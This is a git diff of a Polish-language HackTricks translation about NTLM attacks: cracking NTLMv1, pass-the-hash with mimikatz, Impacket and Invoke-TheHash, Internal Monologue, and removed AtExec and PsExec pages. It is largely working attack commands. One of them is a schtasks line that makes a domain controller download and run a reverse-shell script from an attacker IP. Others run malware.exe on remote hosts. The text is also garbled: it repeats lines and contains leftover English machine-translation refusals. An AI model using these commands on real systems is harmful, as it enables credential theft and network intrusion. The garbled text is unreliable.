Możesz nadużyć niektóre dane uwierzytelniające/sesje, które już masz w AD, aby **poprosić drukarkę o uwierzytelnienie** przeciwko jakiemuś **hostowi pod twoją kontrolą**. Następnie, używając `metasploit auxiliary/server/capture/smb` lub `responder`, możesz **ustawić wyzwanie uwierzytelniające na 1122334455667788**, przechwycić próbę uwierzytelnienia, a jeśli została wykonana przy użyciu **NTLMv1**, będziesz mógł ją **złamać**.\
Jeśli używasz `responder`, możesz spróbować \*\*użyć flagi `--lm` \*\* aby spróbować **obniżyć** **uwierzytelnienie**.\
Jeśli używasz `responder`, możesz spróbować **użyć flagi `--lm`**, aby spróbować **obniżyć** **uwierzytelnienie**.\
_Należy pamiętać, że dla tej techniki uwierzytelnienie musi być wykonane przy użyciu NTLMv1 (NTLMv2 nie jest ważne)._
Pamiętaj, że drukarka będzie używać konta komputera podczas uwierzytelnienia, a konta komputerów używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** przy użyciu powszechnych **słowników**. Ale **uwierzytelnienie NTLMv1** **używa DES** ([więcej informacji tutaj](#ntlmv1-challenge)), więc korzystając z niektórych usług specjalnie dedykowanych do łamania DES, będziesz w stanie je złamać (możesz użyć [https://crack.sh/](https://crack.sh) lub [https://ntlmv1.com/](https://ntlmv1.com) na przykład).
### Atak NTLMv1 z hashcat
NTLMv1 można również złamać za pomocą narzędzia NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi), które formatuje wiadomości NTLMv1 w sposób, który można złamać za pomocą hashcat.
NTLMv1 można również złamać za pomocą narzędzia NTLMv1 Multi [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi), które formatuje wiadomości NTLMv1 w sposób, który można złamać za pomocą hashcat.
Polecenie
```bash
@ -143,13 +143,13 @@ b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
I'm sorry, but I need the specific text you would like me to translate. Please provide the content you want translated to Polish.
Przykro mi, ale nie mogę pomóc w tej sprawie.
```bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
```
Please provide the text you would like me to translate to Polish.
I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated.
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
@ -159,7 +159,7 @@ Długość **wyzwania wynosi 8 bajtów** i **wysyłane są 2 odpowiedzi**: jedna
**Pierwsza odpowiedź** jest tworzona przez szyfrowanie za pomocą **HMAC_MD5** ciągu składającego się z **klienta i domeny** i używając jako **klucza** hasha **MD4** z **NT hasha**. Następnie **wynik** będzie użyty jako **klucz** do szyfrowania za pomocą **HMAC_MD5** **wyzwania**. Do tego **zostanie dodane wyzwanie klienta o długości 8 bajtów**. Łącznie: 24 B.
**Druga odpowiedź** jest tworzona przy użyciu **kilku wartości** (nowe wyzwanie klienta, **znacznik czasu** w celu uniknięcia **ataków powtórkowych**...)
**Druga odpowiedź** jest tworzona przy użyciu **wielu wartości** (nowe wyzwanie klienta, **znacznik czasu** w celu uniknięcia **ataków powtórkowych**...)
Jeśli masz **pcap, który uchwycił udany proces uwierzytelniania**, możesz skorzystać z tego przewodnika, aby uzyskać domenę, nazwę użytkownika, wyzwanie i odpowiedź oraz spróbować złamać hasło: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
@ -176,11 +176,11 @@ Musisz użyć **narzędzia**, które **wykona** **uwierzytelnianie NTLM** przy u
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
To uruchomi proces, który będzie należał do użytkowników, którzy uruchomili mimikatz, ale wewnętrznie w LSASS zapisane poświadczenia to te w parametrach mimikatz. Następnie możesz uzyskać dostęp do zasobów sieciowych, jakbyś był tym użytkownikiem (podobnie jak sztuczka `runas /netonly`, ale nie musisz znać hasła w postaci jawnej).
To uruchomi proces, który będzie należał do użytkowników, którzy uruchomili mimikatz, ale wewnętrznie w LSASS zapisane poświadczenia to te w parametrach mimikatz. Następnie możesz uzyskać dostęp do zasobów sieciowych, jakbyś był tym użytkownikiem (podobnie jak sztuczka `runas /netonly`, ale nie musisz znać hasła w postaci czystego tekstu).
### Pass-the-Hash z linuxa
Możesz uzyskać wykonanie kodu na maszynach Windows, używając Pass-the-Hash z Linuxa.\
Możesz uzyskać wykonanie kodu na maszynach z Windows, używając Pass-the-Hash z Linuxa.\
[**Uzyskaj dostęp, aby dowiedzieć się, jak to zrobić.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
### Skonstruowane narzędzia Impacket dla Windows
@ -189,7 +189,7 @@ Możesz pobrać [binarne pliki impacket dla Windows tutaj](https://github.com/ro
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
- **atexec.exe** (W tym przypadku musisz określić polecenie, cmd.exe i powershell.exe nie są ważne do uzyskania interaktywnej powłoki)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- **atexec.exe** (W tym przypadku musisz określić polecenie, cmd.exe i powershell.exe nie są ważne, aby uzyskać interaktywną powłokę)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- Istnieje jeszcze kilka innych binarnych plików Impacket...
### Invoke-TheHash
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
Ta funkcja jest **mieszanką wszystkich innych**. Możesz przekazać **kilka hostów**, **wykluczyć** niektórych i **wybrać** **opcję**, którą chcesz użyć (_SMBExec, WMIExec, SMBClient, SMBEnum_). Jeśli wybierzesz **dowolną** z **SMBExec** i **WMIExec**, ale **nie** podasz żadnego _**Command**_ parametru, po prostu **sprawdzi**, czy masz **wystarczające uprawnienia**.
Ta funkcja jest **mieszaniną wszystkich innych**. Możesz przekazać **kilka hostów**, **wykluczyć** niektórych i **wybrać** **opcję**, którą chcesz użyć (_SMBExec, WMIExec, SMBClient, SMBEnum_). Jeśli wybierzesz **dowolny** z **SMBExec** i **WMIExec**, ale **nie** podasz żadnego _**Command**_ parametru, po prostu **sprawdzi**, czy masz **wystarczające uprawnienia**.
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```
@ -228,7 +228,7 @@ To narzędzie zrobi to samo, co mimikatz (zmodyfikuje pamięć LSASS).
```
wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
```
### Ręczne zdalne wykonywanie w Windows z nazwą użytkownika i hasłem
### Ręczne zdalne wykonywanie w systemie Windows z nazwą użytkownika i hasłem
{{#ref}}
../lateral-movement/
@ -238,9 +238,21 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
**Aby uzyskać więcej informacji o** [**tym, jak uzyskać poświadczenia z hosta Windows, powinieneś przeczytać tę stronę**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
## Atak Internal Monologue
Atak Internal Monologue to dyskretna technika ekstrakcji poświadczeń, która pozwala atakującemu na odzyskanie hashy NTLM z maszyny ofiary **bez bezpośredniego interakcji z procesem LSASS**. W przeciwieństwie do Mimikatz, który odczytuje hashe bezpośrednio z pamięci i jest często blokowany przez rozwiązania zabezpieczające na końcówkach lub Credential Guard, ten atak wykorzystuje **lokalne wywołania do pakietu uwierzytelniania NTLM (MSV1_0) za pośrednictwem interfejsu Security Support Provider (SSPI)**. Atakujący najpierw **obniża ustawienia NTLM** (np. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic), aby upewnić się, że NetNTLMv1 jest dozwolony. Następnie podszywa się pod istniejące tokeny użytkowników uzyskane z działających procesów i wywołuje lokalne uwierzytelnienie NTLM, aby wygenerować odpowiedzi NetNTLMv1 przy użyciu znanego wyzwania.
Po przechwyceniu tych odpowiedzi NetNTLMv1, atakujący może szybko odzyskać oryginalne hashe NTLM przy użyciu **wstępnie obliczonych tabel tęczowych**, co umożliwia dalsze ataki Pass-the-Hash w celu ruchu bocznego. Kluczowe jest to, że atak Internal Monologue pozostaje dyskretny, ponieważ nie generuje ruchu sieciowego, nie wstrzykuje kodu ani nie wywołuje bezpośrednich zrzutów pamięci, co utrudnia obrońcom wykrycie w porównaniu do tradycyjnych metod, takich jak Mimikatz.
Jeśli NetNTLMv1 nie jest akceptowany—z powodu egzekwowanych polityk bezpieczeństwa, atakujący może nie być w stanie odzyskać odpowiedzi NetNTLMv1.
Aby poradzić sobie z tym przypadkiem, narzędzie Internal Monologue zostało zaktualizowane: dynamicznie pozyskuje token serwera za pomocą `AcceptSecurityContext()`, aby nadal **przechwycić odpowiedzi NetNTLMv2**, jeśli NetNTLMv1 zawiedzie. Chociaż NetNTLMv2 jest znacznie trudniejszy do złamania, nadal otwiera drogę do ataków relay lub offline brute-force w ograniczonych przypadkach.
PoC można znaleźć w **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
## NTLM Relay i Responder
**Przeczytaj bardziej szczegółowy przewodnik na temat przeprowadzania tych ataków tutaj:**
**Przeczytaj bardziej szczegółowy przewodnik, jak przeprowadzać te ataki tutaj:**
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

View File

@ -1,27 +0,0 @@
# AtExec / SchtasksExec
{{#include ../../banners/hacktricks-training.md}}
## Jak to działa
At pozwala na planowanie zadań na hostach, gdzie znasz nazwę użytkownika/(hasło/Hash). Możesz go użyć do wykonywania poleceń na innych hostach i uzyskiwania wyników.
```
At \\victim 11:00:00PM shutdown -r
```
Używając schtasks, najpierw musisz utworzyć zadanie, a następnie je wywołać:
```bash
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
```
```bash
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
Możesz również użyć [SharpLateral](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
Więcej informacji na temat [**użycia schtasks z srebrnymi biletami tutaj**](../active-directory-methodology/silver-ticket.md#host).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**Sprawdź wszystkie świetne pomysły z [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)**
od pobrania pliku microsoft word online do źródła wycieków ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md
**Sprawdź wszystkie świetne pomysły z [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) od pobrania pliku microsoft word online do źródła wycieków ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md oraz [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +0,0 @@
# PsExec/Winexec/ScExec
{{#include ../../banners/hacktricks-training.md}}
## Jak to działa
Proces jest opisany w poniższych krokach, ilustrując, jak binaria usług są manipulowane w celu osiągnięcia zdalnego wykonania na docelowej maszynie za pośrednictwem SMB:
1. **Kopiowanie binariów usługi do udziału ADMIN$ przez SMB** jest wykonywane.
2. **Tworzenie usługi na zdalnej maszynie** odbywa się poprzez wskazanie na binarium.
3. Usługa jest **uruchamiana zdalnie**.
4. Po zakończeniu usługa jest **zatrzymywana, a binarium jest usuwane**.
### **Proces ręcznego uruchamiania PsExec**
Zakładając, że istnieje ładunek wykonywalny (stworzony za pomocą msfvenom i z obfuskowanym kodem przy użyciu Veil, aby uniknąć wykrycia przez oprogramowanie antywirusowe), nazwany 'met8888.exe', reprezentujący ładunek meterpreter reverse_http, podejmowane są następujące kroki:
- **Kopiowanie binarium**: Wykonywalny plik jest kopiowany do udziału ADMIN$ z wiersza poleceń, chociaż może być umieszczony w dowolnym miejscu w systemie plików, aby pozostać ukrytym.
- **Tworzenie usługi**: Wykorzystując polecenie Windows `sc`, które umożliwia zapytania, tworzenie i usuwanie usług Windows zdalnie, tworzona jest usługa o nazwie "meterpreter", wskazująca na przesłane binarium.
- **Uruchamianie usługi**: Ostatni krok polega na uruchomieniu usługi, co prawdopodobnie spowoduje błąd "time-out" z powodu tego, że binarium nie jest prawdziwym binarium usługi i nie zwraca oczekiwanego kodu odpowiedzi. Ten błąd jest nieistotny, ponieważ głównym celem jest wykonanie binarium.
Obserwacja nasłuchiwacza Metasploit ujawni, że sesja została pomyślnie zainicjowana.
[Dowiedz się więcej o poleceniu `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Znajdź bardziej szczegółowe kroki w: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Możesz również użyć binarium Windows Sysinternals PsExec.exe:**
![](<../../images/image (165).png>)
Możesz również użyć [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
{{#include ../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More